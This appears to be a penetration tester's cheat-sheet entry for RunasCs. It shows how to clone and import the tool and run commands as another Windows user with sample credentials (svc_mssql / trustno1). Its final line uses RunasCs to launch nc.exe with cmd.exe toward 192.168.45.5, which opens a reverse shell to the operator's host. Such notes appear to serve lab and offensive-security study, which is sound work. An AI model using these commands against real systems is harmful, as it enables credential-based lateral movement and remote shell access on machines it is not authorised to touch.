Skip to content

RunasCs

source

git clone https://github.com/szalek/RunasCs.git /opt/windows/RunasCs

import

import-module .\Invoke-RunasCs.ps1

run as

Invoke-RunasCs $USER $PASS whoami
Invoke-RunasCs svc_mssql trustno1 whoami
Invoke-RunasCs svc_mssql trustno1 'C:\xampp\test\nc.exe -nd 192.168.45.5 4446 -e cmd.exe'